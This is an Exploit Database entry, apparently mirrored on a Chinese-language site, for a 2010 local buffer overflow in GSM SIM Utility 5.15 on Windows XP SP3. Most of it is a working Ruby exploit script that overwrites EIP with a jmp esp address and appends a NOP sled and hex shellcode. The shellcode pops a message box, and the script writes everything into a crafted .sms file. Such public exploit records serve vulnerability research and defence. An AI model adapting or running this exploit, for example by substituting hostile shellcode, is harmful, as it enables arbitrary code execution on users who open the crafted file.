GSM SIM Utility 5.15 – Direct RET Overflow

• Exploit Database
• 38 阅读

• 作者： chap0
  日期： 2010-07-07
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14258/

• # Exploit Title : GSM SIM Utility Local Exploit Direct Ret ver.
  # Date: July 07, 2010
  # Author: chap0 [www.seek-truth.net]
  # Download Link : http://download.cnet.com/GSM-SIM-Utility/3000-18508_4-10396246.html?tag=mncol
  # Version : 5.15
  # OS: Windows XP SP3
  # Greetz to : Corelan Security Team
  # Advisory: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-054
  # The Crew: http://www.corelan.be:8800/index.php/security/corelan-team-members/
  #
  # Script provided 'as is', without any warranty.
  # Use for educational purposes only.
  # Do not use this code to do anything illegal !
  # Corelan does not want anyone to use this script
  # for malicious and/or illegal purposes
  # Corelan cannot be held responsible for any illegal use.
  #
  # Note : you are not allowed to edit/modify this code.
  # If you do, Corelan cannot be held responsible for any damages this may cause.
  # Code :
  #!/usr/bin/ruby
  puts '|------------------------------------------------------------------|'
  puts '| __ __|'
  puts '| _________________/ /___ _____ / /________ _____ ___|'
  puts '|/ ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |'
  puts '| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |'
  puts '| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/|'
  puts '||'
  puts '| http://www.corelan.be:8800 |'
  puts '||'
  puts '|-------------------------------------------------[ EIP Hunters ]--|'
  puts '[*] GSM SIM Utility Local Exploit Direct Ret ver. by chap0.'
  puts '[*] Visit seek-truth.net'
  
  crash = "A" * 810
  eip = "01524000" #jmp esp
  nop = "90" * 10
  #message box
  code ="d9eb9bd97424f431d2b27a31c964"+
  "8b71308b760c8b761c8b46088b7e"+
  "208b36384f1875f35901d1ffe160"+
  "8b6c24248b453c8b54057801ea8b"+
  "4a188b5a2001ebe337498b348b01"+
  "ee31ff31c0fcac84c0740ac1cf0d"+
  "01c7e9f1ffffff3b7c242875de8b"+
  "5a2401eb668b0c4b8b5a1c01eb8b"+
  "048b01e88944241c61c3b20829d4"+
  "89e589c2688e4e0eec52e89cffff"+
  "ff894504bb7ed8e273871c2452e8"+
  "8bffffff894508686c6c20ff6833"+
  "322e646875736572885c240a89e6"+
  "56ff550489c250bba8a24dbc871c"+
  "2452e85effffff68703058206820"+
  "6368616864206279686f69746568"+
  "4578706c31db885c241289e36868"+
  "5820206844656174682069732068"+
  "2053696e6873206f666857616765"+
  "685468652031c9884c241989e131"+
  "d252535152ffd031c050ff5508"
  
  payload = crash + eip + nop + code
  
  sms = File.new( "directret.sms", "w" )
  	if sms
  	sms.syswrite(payload)
  	else
  	puts "Unable to create file."
  end